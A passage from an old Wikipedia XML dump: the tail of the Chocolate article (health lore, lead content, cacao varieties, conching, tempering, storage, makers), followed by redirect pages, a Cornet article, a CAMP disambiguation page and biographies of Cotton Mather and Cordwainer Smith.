Romantic lore commonly identifies chocolate as an [[aphrodisiac]]. The reputed aphrodisiac qualities of chocolate are most often associated with the simple sensual pleasure of its consumption. More recently, suggestion has been made that [[serotonin]] and other chemicals found in chocolate, most notably [[phenethylamine]], can act as mild sexual stimulants. While there is no firm proof that chocolate is indeed an aphrodisiac, giving a [[gift]] of chocolate to one's sweetheart is a familiar courtship ritual.

=== Acne ===

There is a popular belief that the consumption of chocolate can cause [[acne]]. Such an effect could not be shown in scientific studies as the results are inconclusive.[http://fampra.oxfordjournals.org/cgi/content/full/22/1/62]

[[Image:Dscn4337-choc-chicks crop 600x1000.jpg|thumb|right|Chocolate, ranging from dark to light, can be moulded and decorated like these chickens with ribbons.]]
=== Lead ===

Chocolate has one of the highest concentrations of [[lead]] among all products that constitute a typical Westerner's diet. This is thought to happen because the cocoa beans are mostly grown in developing countries such as [[Nigeria]]. Those countries still use [[tetra-ethyl lead]] as a gasoline additive and, consequently, have high atmospheric concentrations of lead. 
According to the U.S. Food and Drug Administration, levels of lead in chocolate are sufficiently low that even people who eat large amounts of chocolate every day are not at risk of any adverse effects.


&lt;!-- Unsourced image removed: [[Image:LargeChocolateFountain.jpg|thumb|200px|Large Chocolate Fountain surrounded by Assorted Foods.]] --&gt;

==Production==

===Varieties===

There are three main varieties of cacao beans used in chocolates. &quot;Criollo&quot;, the variety native to Central America, the Caribbean islands and the northern tier of South American states, is the rarest and most expensive cocoa on the market. There is some dispute about the genetic purity of cocoas sold today as Criollo, since most populations have been exposed to the genetic influence of other varieties. Criollos are difficult to grow, as they are vulnerable to a host of environmental threats and deliver low yields of cocoa per tree. The flavor of Criollo is characterized as delicate but complex, low in classic &quot;chocolate&quot; flavor, but rich in &quot;secondary&quot; notes of long duration. ''Forastero'' is a large group of wild and cultivated cacaos, probably native to the Amazon basin. The huge African cocoa crop is entirely of the Forastero variety. They are significantly hardier and of higher yield than Criollo. Forastero cocoas are typically big in classic &quot;chocolate&quot; flavor, but this is of short duration and is unsupported by secondary flavors. There are exceptional Forasteros, such as the &quot;Nacional&quot; or &quot;Arriba&quot; variety, which can possess great complexity. ''Trinitario'', a natural hybrid of Criollo and Forastero, originated in [[Trinidad]] after an introduction of (Amelonado) Forastero to the local Criollo crop. These cocoas exhibit a wide range of flavor profiles according to the genetic heritage of each tree. 

Nearly all cacao produced over the past five decades is of the Forastero or lower-grade Trinitario varieties.  The share of higher quality Criollos and Trinitarios (so-called ''flavour cacao'') is just under 5% per annum [http://www.icco.org/questions/varieties.htm].

===Harvesting===
Firstly, the [[cacao]] pods, containing cacao beans, are harvested. The beans, together with their surrounding pulp, are removed from the pod and left in piles or bins to ferment for 3-7 days. The beans must then be quickly dried to prevent mold growth; climate permitting, this is done by spreading the beans out in the sun.    

The beans are then roasted, graded and ground. [[Cocoa butter]] is removed from the resulting chocolate liquor either by being pressed or by the [[Broma process]]. The residue is what is known as cocoa powder.

===Blending===

Chocolate liquor is blended with the butter in varying quantities to make different types of chocolate or couverture. The basic blends of ingredients, in order of highest quantity of cocoa liquor first, are as follows. (Note that since American chocolates have a lower percentage requirement of cocoa liquor for dark chocolate, some dark chocolate may have sugar as the top ingredient.)

#'''Plain dark chocolate:''' sugar, cocoa butter, cocoa liquor, and (sometimes) vanilla  
#'''Milk chocolate:''' sugar, cocoa butter, cocoa liquor, milk or milk powder, and vanilla  
#'''White chocolate:''' sugar, cocoa butter, milk or milk powder, and vanilla

Usually, an emulsifying agent such as [[Soybean|soya]] [[lecithin]] is added, though a few manufacturers prefer to exclude this ingredient for purity reasons and to remain [[Genetically modified organism|GMO]]-free (soya is a heavily genetically modified crop), sometimes at the cost of a perfectly smooth texture. The texture is also heavy influenced by processing, specifically conching. The more expensive chocolates tend to be processed longer and thus have a smoother texture and &quot;feel&quot; on the tongue, regardless of  whether emulsifying agents are added.

Different manufacturers develop their own &quot;signature&quot; blends based on the above formulas but varying proportions of the different constituents used.

The finest plain dark chocolate couvertures contain at least 70% cocoa (solids + butter), whereas milk chocolate usually contains up to 50%. High-quality white chocolate couvertures contain only about 33% cocoa. Inferior and mass-produced chocolate contains much less cocoa (as low as 7% in many cases) and fats other than cocoa butter. Some chocolate makers opine that these &quot;brand name&quot; milk chocolate products can not be classed as couverture, or even as chocolate, because of the low or virtually non-existent cocoa content. 

[[Image:Chocolate fountain.jpg|200px|thumb|right|Chocolate, with enough cocoa butter, flows gently over a [[chocolate fountain]] to serve [[fondue]].]]

===Conching===
:''See main article at [[Conching]].''
The penultimate process is called ''conching''. A conche is a container filled with metal beads, which act as grinders.  The refined and blended chocolate mass is kept liquid by frictional heat. The conching process produces cocoa and sugar particles smaller than the tongue can detect; hence the smooth feel in the mouth. The length of the conching process determines the final smoothness and quality of the chocolate. High-quality chocolate is conched for about 72 hours, lesser grades about four to six hours.  After the process is complete, the chocolate mass is stored in tanks heated to approximately 45–50 °C (113–122 °F) until final processing.

===Tempering===

The final process is called ''tempering''. Uncontrolled crystallization of cocoa butter typically results in crystals of varying size, some or all large enough to be clearly seen with the naked eye. This causes the surface of the chocolate to appear mottled and matte, and causes the chocolate to crumble rather than snap when broken. The uniform sheen and crisp bite of properly processed chocolate are the result of consistently small cocoa butter crystals produced by the tempering process.  Additionally, since cocoa butter exhibits a polymorphous crystal formation, care must be taken during tempering to insure the formation of the most stable of the possible crystal forms, so that the appearance of the chocolate does not degrade over time.  These goals are achieved by careful manipulation of temperature during the crystallization of the chocolate. Firstly, the mass is cooled from about 45 °C (113 °F) to about 27 °C (80 °F). Agitation during cooling precipitates the formation of large quantities of small crystal &quot;seed&quot; which will serve as nucleii for the final crystallization of the chocolate. The chocolate is then rewarmed to about 31 °C (88 °F) to eliminate unstable crystal forms and reduce the viscosity of the chocolate. The chocolate is then ready for use in molding or coating, after which it is allowed to cool.
Two typical ways of tempering chocolate are as follows:
*Working the melted chocolate on a heat-absorbing surface, such as a stone slab, until thickening indicates the presence of sufficient crystal &quot;seed&quot;; the chocolate is then gently warmed to working temperature .
*Stiring solid chocolate into melted chocolate to &quot;innoculate&quot; the liquid chocolate with crystal (this method uses the already formed crystal of the solid chocolate to &quot;seed&quot; the melted chocolate).

===Storing===

Chocolate is very sensitive to temperature and humidity. Ideal storage temperatures are between 15 and 17 [[degrees Celsius]] (59 to 63 degrees [[Fahrenheit]]), with a relative humidity of less than 50%. Chocolate should be stored away from other foods as it can absorb different aromas. Ideally, chocolates are packed or wrapped and then placed in proper storage areas with the correct humidity and temperatures.

===Chocolate and a vegan diet===
It can be difficult to identify [[vegan]] chocolate.  Milk chocolate does not qualify because of the added milk, but even chocolate labelled as &quot;dark&quot; may contain milk ingredients. For example, [[Hershey's]] Special Dark contains milk. Unless the chocolate is specifically labelled as vegan, another complication for strict vegans is that the [[sugar]] used in a particular chocolate may have been processed with [[bone char]].

[http://www.worldpantry.com/cgi-bin/ncommerce3/ProductDisplay?prmenbr=172832&amp;prrfnbr=457241 Tropical source] is one vegan chocolate.  Not only is it made with evaporated cane juice, but the chocolate is [[Fairtrade_labelling|fairly traded]]  It is also &quot;manufactured in one of the only chocolate factories in the world that has dedicated production equipment that is never used with dairy or gluten ingredients.&quot;&lt;br&gt;
[http://www.chocolatebar.com/ Endangered Species chocolate] is also a vegan chocolate with many different flavor combinations.

==Endnotes==
&lt;references/&gt;

==Chocolate in the media==
* ''[[Charlie and the Chocolate Factory]]'' (book, [http://us.imdb.com/title/tt0067992/ movie])
* ''[[Chocolate (song)|Chocolate (song)]]'' (by [[Kylie Minogue]], [[Body Language (Kylie Minogue)|Body Language]] album)
* ''[[Chocolat]]'' (book)
* ''[[Chocolat (film)| Chocolat]]'' ([http://www.imdb.com/title/tt0241303/ movie])
* ''[[The Poisoned Chocolates Case]]'' (book)
* ''[[Like Water for Chocolate]]'' (book), ([http://us.imdb.com/title/tt0103994/ movie])
* ''[[Consuming Passions]]'' ([http://us.imdb.com/title/tt0094907/ movie])
* ''[[Willy Wonka and the Chocolate Factory]]'' 
*''Candyfreak: A Journey Through the Chocolate Underbelly of America (book)

==Significant chocolate makers==
&lt;!-- DO NOT ADD your pet company or yourself unless that company is somehow significant! --&gt;
Popular or historically significant chocolate makers include:
* [[Cadbury-Schweppes|Cadbury]]
* [[Callebaut]]
* [[Côte d'Or (brand)|Côte d'Or]]
* [[Dolfin]]
* [[Fazer]]
* [[Ferrero SpA]]
* [[Ghirardelli Chocolate Company|Ghirardelli]] (Ghirardelli developed the Broma process)
* [[Godiva (chocolatier)|Godiva]]
* [[Green &amp; Black's]]
* [[Guittard]]
* [[Hershey's]]
* [[Kraft Foods]] ([[Milka]], [[Suchard]], [[Toblerone]], Côte d'Or, and many others)
* [[Lindt &amp; Sprüngli]] (Sprüngli developed conching)
* [[Malley's Chocolates]]
* [[Michel Cluizel]]
* [[Mars Incorporated]] ([[M&amp;M's]], [[Dove (chocolate)|Dove]])
* [[Nestlé]]
* [[Neuhaus]]
* [[Ritter Sport]] 
* [[Scharffen Berger Chocolate Maker]]. 
* [[Teuscher]]
* [[Valrhona]]
* [[Whitman's]]
* [[Whittaker's]]
* [[Whetstone]]

== See also ==
*[[Big Chocolate]]
*[[Chocolate and slavery]]
*''[[Chocolate City]]''
*[[Chocolate milk]] 
*[[Kinder Egg]]
*[[Creme_Egg|Cadbury's Creme Egg]]
*[[Terry's Chocolate Orange]]
*[[US military chocolate]]
*[[Valentine's Day]]
*[[Christmas]]
*[[Easter]]
*[[Cocoa]]
*[[Candida krusei]]
*[[Fudge]]

==Further reading==
* ''The True History of Chocolate'', by Sophie D. Coe &amp; Michael D. Coe, Thames &amp; Hudson, 1996.
* ''Naked Chocolate'', by David Wolfe and Shazzie, Rawcreation, 2005.
* ''The Great Book of Chocolate'', by David Lebovitz, Ten Speed Press, 2004.
* ''The Chocolate Connoisseur'', by Chloe Doutre-Roussel, Piatkus, 2005.
* ''Green &amp; Black's Chocolate Recipes'', by Kyle Cathie Limited, 2003.

==External links==
{{cookbook}}
{{wiktionarypar|chocolate}}
{{commons|Chocolate}}
{{wikiquote}}
*[http://www.british-chocolates.info British Chocolates]
*[http://www.chocolate.org Detailed drug information]
*[http://www.chokladkultur.se/english.htm Chocolate Culture] 
*[http://www.exploratorium.edu/exploring/exploring_chocolate/ Exploring Chocolate]
*[http://www.news.cornell.edu/releases/Nov03/HotCocoa-Lee.bpf.html Cornell News on Cocoa]
*[http://www.avma.org/careforanimals/animatedjourneys/livingwithpets/poisoninfo.asp#Misc3 A Pet Owner's Guide to Poisons: Chocolate]
*[http://www.seventypercent.com/ Seventypercent.com]
*[http://www.academyofchocolate.org.uk/ UK Academy of Chocolate]

[[Category:Chocolate| ]]
&lt;!-- moved categories to the chocolate category itself. Add any other ones there as well --&gt;

[[af:Sjokolade]]
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[[fi:Suklaa]]
[[sv:Choklad]]
[[tl:Tsokolate]]
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[[zh:巧克力]]</text>
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  <page>
    <title>Cetaceans</title>
    <id>7093</id>
    <revision>
      <id>15905178</id>
      <timestamp>2002-08-22T18:34:25Z</timestamp>
      <contributor>
        <username>Vicki Rosenzweig</username>
        <id>59</id>
      </contributor>
      <minor />
      <comment>fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Cetacea]]</text>
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  <page>
    <title>Cetacean</title>
    <id>7094</id>
    <revision>
      <id>15905179</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cetacea]]
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  </page>
  <page>
    <title>Cotton Matther</title>
    <id>7097</id>
    <revision>
      <id>15905181</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <text xml:space="preserve">#REDIRECT [[Cotton Mather]]

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    <title>COPPA</title>
    <id>7098</id>
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      <id>15905182</id>
      <timestamp>2003-09-10T08:50:16Z</timestamp>
      <contributor>
        <username>Jamesday</username>
        <id>22105</id>
      </contributor>
      <comment>Changed to point to page with correct title for COPPA</comment>
      <text xml:space="preserve">#REDIRECT [[Children's Online Privacy Protection Act]]</text>
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  <page>
    <title>Child Online Privacy Protection Act</title>
    <id>7099</id>
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      <id>15905183</id>
      <timestamp>2003-09-10T08:52:54Z</timestamp>
      <contributor>
        <username>Jamesday</username>
        <id>22105</id>
      </contributor>
      <comment>changed from copy of it to a redirect to the COPPA page with correct act title.</comment>
      <text xml:space="preserve">#REDIRECT [[Children's Online Privacy Protection Act]]</text>
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  <page>
    <title>Cornet</title>
    <id>7100</id>
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      <id>40304971</id>
      <timestamp>2006-02-19T18:07:20Z</timestamp>
      <contributor>
        <username>Pietaster</username>
        <id>533049</id>
      </contributor>
      <minor />
      <comment>sv fix</comment>
      <text xml:space="preserve">{{split}}
[[image:Cornet-Bb-large.jpg|thumb|250px|B♭ cornet]]

The '''cornet''' is a [[brass instrument]] that closely resembles the [[trumpet]].   

The cornet is a standard [[brass band]] instrument, which was derived from the bugle family. However, lately it has been gradually replaced by the trumpet in the [[United States]]. The trumpet is also used more often than the cornet in [[orchestra]]l, small ensemble, and solo performances. The cornet is the main high voice of the [[brass band]] in the [[United Kingdom|UK]] and other countries that have British-style brass bands.

==Relationship to trumpet==

Cornets were invented by adding valves to the [[post horn]] in the 1820s. The valves allowed for melodic playing throughout the register or the cornet. Trumpets were slower to adopt the new valve technology, so composers for the next 100 years or more, often wrote separate parts for trumpet and cornet. The trumpet would play fanfare-like passages, while the cornet played more melodic passages. The modern trumpet has valves (or a similar mechanism) that allows it to play the same notes as the cornet.

Cornets and trumpets made in a given [[Key (music)|key]] (usually the key of B♭) play at the same pitch, and the technique for playing the instruments is very similar.  However, cornets and trumpets are not entirely interchangeable because the [[timbre]] (or tone quality) of their sound differs. Also available, but usually seen only in the brass band, is an E♭ soprano model (often shortened to just &quot;sop&quot;), pitched a fourth above the standard B♭. This instrument, with usually just one in a band, adds an extreme high register to the brass band sound and can be most effective in cutting through even the biggest climax.

Unlike the trumpet, most of the tubing of which has a cylindrical bore, the tubing of the cornet has a mostly conical bore, starting very narrow at the [[mouthpiece]] and gradually widening towards the bell.  The conical bore of the cornet is primarily responsible for its characteristic warm, mellow tone, which can be distinguished from the more penetrating sound of the trumpet.  The conical bore of the cornet also makes it more agile than the trumpet when playing fast passages. The cornet is often preferred for young beginners as it is easier to hold, with its centre of gravity much closer to the player. 

[[image:cornet.png|thumb|250px|This drawing of a cornet is a public domain image from Webster's Dictionary 1911]]

The cornet in the illustration is a short model traditional cornet, also known as a ''&quot;Shepherd's crook&quot;'' shaped model. There also exists a long-model cornet which looks about half-way between the short instrument and a trumpet. This instrument is frowned upon by cornet traditionalists and it is not clear what its intended role is. However the common opinion is that it has a more musical sound than the short model or trumpet.

==Playing/technique==

Like the trumpet and all other modern brasswind instruments, the cornet makes a sound when the player vibrates (&quot;buzzes&quot;) his lips in the mouthpiece, creating a vibrating column of air in the tubing of the cornet that generates a musical sound.  When the column of air is lengthened, the pitch of the note is lowered.

From the basic length tube of the cornet the player can produce a series of notes, like those played by the [[Bugle (instrument)|bugle]], which has gaps in so that true melodic playing is impossible except in the extreme high register. So, to change the length of the vibrating column and provide the cornet with the ability to play chromatic scales, the cornet is equipped with three (or very rarely, four) valves.  The action of each valve is to add a length of tubing (and thus vibrating air column) between mouthpiece and bell.  As the player presses the valves, they lower the pitch of the cornet and can thus play complete chromatic scales.

==Military terminology==

A troop of [[cavalry]] may also be called a ''cornet'', so called from its being accompanied by a cornet player. 

Until 1871, when the office was abolished, ''cornet'' was the lowest grade of [[commissioned officer]] in a British cavalry troop, who carried the [[flag|standard]], also known as a ''cornet''. This rank is also known as an [[ensign]] or [[subaltern (rank)|subaltern]]. The rank was abolished at the same time that the purchase of commission in the army was abolished in the army reform bill of 1871. In practice the style Cornet is still used in [[The Blues and Royals]] (Royal Horse Guards and 1st Dragoons).

==Other meanings==

*There is another instrument, a brass instrument with [[woodwind]]-style holes, called the [[cornett]] or ''cornetto''
*In [[British English]], a '''cornet''' may also refer to an [[ice cream cone]].

==External links==
*[http://www.angelfire.com/music2/thecornetcompendium/ The Cornet Compendium]

*[http://www.brass-forum.co.uk/ Brass-Forum.co.uk] UK based brass discussion forum.

[[Category:Brass instruments]]
[[Category:Military ranks of the United Kingdom]]

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  <page>
    <title>CAMP</title>
    <id>7102</id>
    <revision>
      <id>35926196</id>
      <timestamp>2006-01-20T07:22:28Z</timestamp>
      <contributor>
        <username>Botryoidal</username>
        <id>814230</id>
      </contributor>
      <minor />
      <comment>Robot: Automated text replacement  (-{{4LA}} +{{4LC}})</comment>
      <text xml:space="preserve">'''CAMP''' may stand for:

* [[Cyclic adenosine monophosphate]] (cAMP)
* [[Call Admission Multicast Protocol]]
* [[Core-Assisted Mesh Protocol]]
* [[Campaign Against Marijuana Planting]]
* [[Central Atlantic Magmatic Province]]

'''See also''':
*[[Camp]]
*[[Camping (disambiguation)]]

{{4LC}}</text>
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  <page>
    <title>CGMP</title>
    <id>7103</id>
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      <id>15905187</id>
      <timestamp>2004-03-02T10:55:16Z</timestamp>
      <contributor>
        <username>Diberri</username>
        <id>35331</id>
      </contributor>
      <minor />
      <comment>redirect to cyclic guanosine monophosphate</comment>
      <text xml:space="preserve">#REDIRECT [[cyclic guanosine monophosphate]]</text>
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  </page>
  <page>
    <title>Cotton Mather</title>
    <id>7104</id>
    <revision>
      <id>37497667</id>
      <timestamp>2006-01-31T10:13:26Z</timestamp>
      <contributor>
        <ip>4.23.226.242</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Cotton Mather.jpg|thumb|Cotton Mather (1663–1728) circa 1700]]
'''Cotton Mather''' ([[February 12]], [[1663]] &amp;ndash; [[February 13]], [[1728]]).  B.A. [[1678]] ([[Harvard University|Harvard College]]), M.A. [[1681]]; honorary doctorate [[1710]] ([[University of Glasgow]]),  was a socially and politically-influential &quot;[[Puritan]]&quot; minister, prolific author, and pamphleteer.  Cotton Mather was the son of influential minister [[Increase Mather]].

Mather attended [[Boston Latin School]], and graduated from Harvard in 1678, at only 15 years of age. After completing his post-graduate work, he joined his father as assistant Pastor of Boston's original North Church (not to be confused with the Anglican/Episcopal [[Old North Church]]). It was not until his father's death, in [[1723]] that Mather assumed full responsibilities as Pastor at the Church.

Author of more than 450 books and pamphlets, Cotton Mather's ubiquitous literary works made him one of the most influential religious leaders in America.   Mather set the nation's &quot;moral tone&quot;, and sounded the call for second and third generation Puritans, whose parents had left [[England]] for the [[New England (U.S.)|New England]] colonies of [[North America]] to return to the [[theology|theological]] roots of [[Puritanism]].  

A friend of a number of the judges charged with hearing the [[Salem witch trials]], Mather urged the judges to take caution against the tenuous use of &quot;[[spectral evidence]]&quot;. Writing of the trials later, Mather stated: 

:&quot;If in the midst of the many Dissatisfactions among us, the publication of these Trials may promote such a pious Thankfulness unto God, for Justice being so far executed among us, I shall Re-joyce that God is Glorified...&quot; ([[Wonders of the Invisible World]]).

Highly-influential due to his prolific writing, Mather was a force to be reckoned with in secular, as well as in spiritual matters.  After the fall of [[James II of England]] in [[1688]], Mather was among the leaders of a successful revolt against James' Governor of the consolidated [[Dominion of New England]], Sir [[Edmund Andros]].

Mather was influential in early American science as well.  In 1716, as the result of observations of corn varieties, he conducted one of the first experiments with plant [[hybridization]].  This observation was memorialized in a letter to a friend:  
:&quot;My friend planted a row of Indian corn that was colored red and blue; the rest of the field being planted with yellow, which is the most usual color. To the windward side this red and blue so infected three or four rows as to communicate the same color unto them; and part of ye fifth and some of ye sixth. But to the leeward side, no less than seven or eight rows had ye same color communicated unto them; and some small impressions were made on those that were yet further off.&quot;

Of Mather's three wives and fifteen children, only one wife and two children survived him. Mather was buried on [[Copp's Hill]].

==Mather's Major Works By Date==
*''[[Wonders of the Invisible World]]'' (1693) ISBN 0766168670
*''[[Magnalia Christi Americana]]'' (1702) ISBN 0674541553
*''[[Bonifacius]]'' (1710) ISBN 0766169243
*''[[The Christian Philosopher]]'' (1721) ISBN 0252068939
*''[[Religious Improvements]]'' (1721) 
*''[[Manuductio ad Ministerium]]'' (1726)

==Fiction==
* Cotton Mather appears as one of the characters in the second book ''[[A Calculus of Angels]]'' of [[Gregory Keyes]]' trilogy, [[The Age of Unreason]].

* In the short story &quot;[[The Legend of Sleepy Hollow]],&quot; by [[Washington Irving]], [[Ichabod Crane]] is depicted &quot;a perfect master of Cotton Mather's [fictitious] 'History of New England Witchcraft,' in which, by the way, he most firmly and potently believed.&quot;

* The name &quot;Cotton Mather&quot; appears in a number of stories by [[HP Lovecraft]], usually when a character is somehow related to the witches of New England.

* Cotton Mather is made reference to in the short story &quot;[[1692 Cotton Mather Newsreel]],&quot; by [[Richard Brautigan]], published in [[Revenge of the Lawn]] in 1972.

==External links==
*[http://www.gty.org/~phil/mather.htm Cotton Mather's writings]
*[http://collegiateway.org/mather/ Mather's influential commentary on the &quot;collegiate way of living&quot;]


[[Category:1663 births|Mather, Cotton]]
[[Category:1728 deaths|Mather, Cotton]]
[[Category:American colonial people|Mather, Cotton]]
[[Category:People from Massachusetts|Mather, Cotton]]
[[Category:American theologians|Mather, Cotton]]
[[Category:Reformed theologians|Mather, Cotton]]
[[Category:Religious history of the United States|Mather, Cotton]]

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  </page>
  <page>
    <title>Cordwainer Smith</title>
    <id>7105</id>
    <revision>
      <id>40403394</id>
      <timestamp>2006-02-20T08:12:47Z</timestamp>
      <contributor>
        <ip>68.121.55.178</ip>
      </contributor>
      <comment>/* Biography */</comment>
      <text xml:space="preserve">'''Cordwainer Smith''' &amp;ndash; pronounced ''CORDwainer Smith'' &amp;ndash; was the [[pseudonym]] used by [[United States|American]] [[author]] '''Paul Myron Anthony Linebarger''' ([[July 11]], [[1913]] &amp;ndash; [[August 6]], [[1966]]) for his [[science fiction]] works. Linebarger was also a noted [[East Asia]] scholar and expert in [[psychological warfare]].

Linebarger also employed the literary pseudonyms &quot;Carmichael Smith&quot; (for his political thriller ''[[Atomsk (novel)|Atomsk]]''), &quot;Anthony Bearden&quot; (for his [[poetry]]) and &quot;Felix C. Forrest&quot; (for the novels ''Ria'' and ''Carola''). 

==Biography==

Linebarger was born in [[Milwaukee, Wisconsin]]. His father was Paul M.W. Linebarger, a [[lawyer]] and political [[activism|activist]] with close ties to the leaders of the [[Xinhai Revolution|Chinese revolution of 1911]]. As a result of those ties, Linebarger's [[godfather]] was [[Sun Yat-sen]], considered the father of Chinese nationalism. When he later pursued his father's interest in [[China]], Linebarger became a close confidant of [[Chiang Kai-shek]]. As a child, Linebarger was [[blindness|blinded]] in his left eye; the vision in his remaining eye was impaired by infection. His father moved his family to [[France]] and then [[Germany]] while Sun Yat-sen was struggling against contentious warlords in China. As a result of these experiences, Linebarger was familiar with six languages by adulthood. At the age of 23, he received a Ph.D. in Political Science from [[Johns Hopkins University]]. 

From [[1937]] to [[1946]], Linebarger held a faculty appointment at [[Duke University]], where he began producing highly regarded works on Far Eastern affairs. While retaining his professorship at Duke after the beginning of [[World War II]], he began serving as a second lieutenant of the [[U.S. Army]], where he was involved in the creation of the [[United States Office of War Information|Office of War Information]] and of the [[Operation Planning and Intelligence Board]]. He also helped organize the Army's first psychological warfare section. In 1943 he was deployed to China to coordinate U.S.-China military intelligence operations. By the end of the war, he had risen to the rank of major.

In [[1936]], Linebarger married Margaret Snow, and they had a daughter in [[1942]]. They had a second child, another daughter, in [[1947]], and divorced in [[1949]]. In [[1950]], Linebarger married for the second time, to Genevieve Collins; they remained married until his death in [[1966]].

[[Image:Psychological Warfare Linebarger.jpg|frame|right]]
In [[1947]], Linebarger moved to the Johns Hopkins University's [[School of Advanced International Studies]] in Washington, DC, where he served as Professor of Asiatic Studies. He used his experiences in the war to write the book ''Psychological Warfare'' (1948), which is regarded by many in the field as a classic text. He eventually rose to the rank of colonel in the reserves. He was recalled to advise the British forces in the [[Malayan Emergency]] and the U.S. Eighth Army in the [[Korean War]]. While he was known to call himself a &quot;visitor to small wars&quot;, he refrained from becoming involved in [[Vietnam]], but is known to have done undocumented work for the [[Central Intelligence Agency]]. He traveled extensively and became a member of the [[Foreign Policy Association]], and was called upon to advise then-U.S. President [[John F. Kennedy]]. 

Linebarger expressed a wish to retire to [[Australia]], which he had visited in his travels, but died at age 53. He is buried in [[Arlington National Cemetery]], Section 35, Grave Number 4712. His widow, Genevieve Collins Linebarger, was interred with him on [[16 November]] [[1981]].

==Science fiction writing==
A notable characteristic of Linebarger's science fiction is that most of his stories are set in the same universe, with a unified chronology; some anthologies of Linebarger's fiction include a chart, with each of his stories inserted into the appropriate slot in the timeline.

Linebarger's stories are unusual, even, arguably, by the standards of [[science fiction]], sometimes being written in narrative styles closer to traditional [[Chinese literature|Chinese stories]] than to most English-language fiction. His science fiction is relatively small in volume, due to his time-consuming profession and his early death. Smith's writings consist of only one novel, originally published in two volumes in edited form as ''The Planet Buyer'', a.k.a. ''The Boy Who Bought Old Earth'' ([[1964]]), and ''The Underpeople'' ([[1968]]), later restored to its original form as ''[[Norstrilia]]'' ([[1975]]); and around 30 short stories (all of them gathered in ''[[The Rediscovery of Man]]'' and previously in incomplete collections). All these writings suggest a rich universe developing over long periods of time, but leave much to be guessed by the reader. 

Linebarger's cultural links to China are partially expressed in the pseudonym &quot;Felix C. Forrest&quot;, which he used in addition to &quot;Cordwainer Smith&quot;: [[Sun Yat-Sen]] suggested to Linebarger, his godson, that he adopt the Chinese name &quot;Lin Ba-lo&quot;, which may be roughly translated as &quot;Forest of Incandescent Bliss&quot;.  In his later years, Linebarger proudly wore a tie with the [[Chinese language|Chinese]] characters for this name embroidered on it.

As an expert in psychological warfare, Linebarger was very interested in the then-newly developing fields of [[psychology]] and [[psychiatry]], and inserted many of their concepts into his fiction. His fiction also often has religious overtones or motifs, in particular in characters who have no control of their actions. In [http://www.instrumentality.com/cordwainer.html Christianity In the Science Fiction of &quot;Cordwainer Smith&quot;] James P. Jordan argued for the importance of Anglicanism to Linebarger's works back to 1949. However, Linebarger's daughter has indicated that he did not become an Anglican until 1950 and was not strongly interested in religion until later still [http://www.cordwainer-smith.com/remember.htm]. In the introduction to the collection '''Rediscovery of Man''' it is indicated that from around [[1960]] he became more devout and expressed this in his writing. Linebarger's works are sometimes included in analyses of Christianity in fiction, along with the works of authors such as [[C. S. Lewis]] or [[J.R.R. Tolkien]].

The bulk of Cordwainer Smith's stories are set in an era starting some 14,000 years in the future. The [[Instrumentality of Mankind]] rules Earth and goes on to control other planets later inhabited by humanity. The Instrumentality attempts to revive old cultures and languages in a process known as the Rediscovery of Man. This rediscovery can be seen either as the initial period when humankind emerges from a mundane utopia and the nonhuman underpeople gain freedom from slavery, or as a continuing process begun by the Instrumentality, encompassing the whole cycle, where mankind is constantly at risk of falling back to its bad old ways.

Smith's stories describe a long [[future history]] of Earth, from a [[postapocalyptic]] landscape with walled cities defended by agents of the Instrumentality to a state of utopia in which freedom can be found only deep below the surface, in long-forgotten and buried [[anthropogenic]] strata. These features may place Smith's works within the [[Dying Earth subgenre]] of [[Science Fiction]], but it can be argued that they are ultimately more optimistic and distinctive.

Smith's most important short story is perhaps his first-published, &quot;Scanners Live in Vain&quot;, which led many of its earliest readers to assume that &quot;Cordwainer Smith&quot; was a new pen name for one of the established giants of the genre. It was selected as one of the best SF short stories of the pre-[[Nebula Award]] period by the [[Science Fiction and Fantasy Writers of America]], and appeared in [[The Science Fiction Hall of Fame Volume One, 1929-1964]].

Linebarger's stories feature strange and vivid creations, such as:
* Planet [[Norstrilia]], a semi-arid planet where an immortality drug is harvested from gigantic  virus-infected sheep, each weighing more than 100 tons
* The punishment world of ''Shayol'' (cf. [[Sheol]]), where criminals are punished by the regrowth and harvesting of their organs for transplanting in the manner of [[Prometheus]]'s punishment
* ''Planoforming'' [[spacecraft]], which are crewed by humans telepathically linked with cats and which defend themselves against the attacks of unknown malevolent entities in space with the flash of small atomic weapons (these entities are perceived by humans as dragons, and by cats as gigantic rats)
* The ''Underpeople'', animals modified genetically into human form to fulfill servile roles, and treated as property. Several stories feature clandestine efforts to liberate the underpeople and grant them equal rights. They are seen everywhere throughout regions controlled by the Instrumentality.
* ''Habermen'' and their supervisors, ''Scanners'', whose sensory [[nerve]]s have been cut to block the &quot;pain of space&quot;, and who perceive only by vision and various life-support implants. Other modes of perception can be temporarily restored to scanners by &quot;cranching&quot;.

== Published non-fiction works ==

{|
|1937
|The Political Doctrines of Sun-Yat-Sen: An Exposition of the San Min Chu I 
|Baltimore: The Johns Hopkins Press
|----
|1938
|Government in Republican China (with [[Fritz Morstein Marx]])
|London: McGraw-Hill, ISBN 0883550814
|----
|1941
|The China of Chiang K'ai-shek: A Political Study
|Boston: World Peace Foundation, ISBN 0837167795
|----
|1948
|Psychological Warfare 
|Washington: Infantry Journal Press
|----
|1951
|Foreign milieux (HBM 200/1)
|Dept. of Defense, Research and Development Board
|----
|1951
|Immediate improvement of theater-level psychological warfare in the Far East
|Operations Research Office, Johns Hopkins University
|----
|1954
|Far Eastern Government and Politics: China and Japan (with [[Djang Chu]] and [[Ardath W. Burks]]) 
|Van Nostrand
|----
|1956
|Draft statement of a ten-year China and Indochina policy, 1956-1966
|Foreign Policy Research Institute, University of Pennsylvania
|----
|1965
|Essays on military psychological operations,
|Special Operations Research Office, [[American University]]
|}

==External links==
* [http://www.cordwainer-smith.com/ The Remarkable Science Fiction of Cordwainer Smith] Maintained by his daughter Rosana.
* {{isfdb name|name=Cordwainer Smith|id=Cordwainer_Smith}}
* [http://www.gwillick.com/Spacelight/smith_c.html Personal data on Paul Linebarger]
* [http://www.arlingtoncemetery.com/linebarg.htm Arlington National Cemetery: Linebarger]
* [http://www.ulmus.net/ace/csmith/linebargerbiography.cfm Unofficial Cordwainer Smith Biography Page]

[[Category:1913 births|Smith, Cordwainer]]
[[Category:1966 deaths|Smith, Cordwainer]]
